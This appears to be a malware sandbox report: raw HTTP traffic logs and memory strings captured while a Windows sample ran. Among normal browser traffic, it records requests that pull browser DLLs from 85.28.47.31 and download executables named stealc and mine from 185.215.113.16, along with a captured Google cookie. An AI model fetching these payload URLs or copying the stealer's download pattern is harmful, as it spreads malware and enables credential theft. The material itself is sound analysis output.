Source: global traffic	HTTP traffic detected: GET /s/googlesans/v58/4UaRrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iq2vgCI.woff2 HTTP/1.1Host: fonts.gstatic.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"Origin: https://accounts.google.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.150"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150", "Google Chrome";v="117.0.5938.150"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1722587837&P2=404&P3=2&P4=he9zOfFPGomWqUf%2bq60bvAktCaXNv7E1bcbLxjuW%2fMM8sr75kGmryXCD%2f3%2b2aVWg2qj4lUl5oSURoDhAgWsTVQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: yx88zYcXHnbQW/SwlJ9lNVSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?placement=88000360&nct=1&fmt=json&ADEFAB=1&OPSYS=WIN10&locale=en-GB&country=CH&edgeid=5518710994624701133&ACHANNEL=4&ABUILD=117.0.5938.150&poptin=0&devosver=10.0.19045.2006&clr=esdk&UITHEME=light&EPCON=0&AMAJOR=117&AMINOR=0&ABLD=5938&APATCH=150 HTTP/1.1Host: arc.msn.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.75/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=1941245123&timestamp=1721983046487 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.150"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150", "Google Chrome";v="117.0.5938.150"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.150"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150", "Google Chrome";v="117.0.5938.150"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/product_category_en/1.0.0/asset?assetgroup=ProductCategories HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ProductCategoriesSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.134"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=516=ktTC0cHX2KkJD_Yx6Lir0ZiA-RXTW3TBfjdtr3BA9J0djPpWwp7HDJi58DUUMslPOcdyqgJt539dXCOZftNIcyffQCc5bRBL5UeRB0veDqR12KTTRXoDhch1UwQIE2X4-qVoHZAhlqX-Q2MgI4ClYRQuOBZ7zk-xxlSTc4FXFRaWMS0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/enter.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /cost/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /cost/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001C.00000002.2823296830.0000029FD2C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account" equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2823296830.0000029FD2C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"5 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2901568725.000002196FBF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000003.3263338339.00000169CAB13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
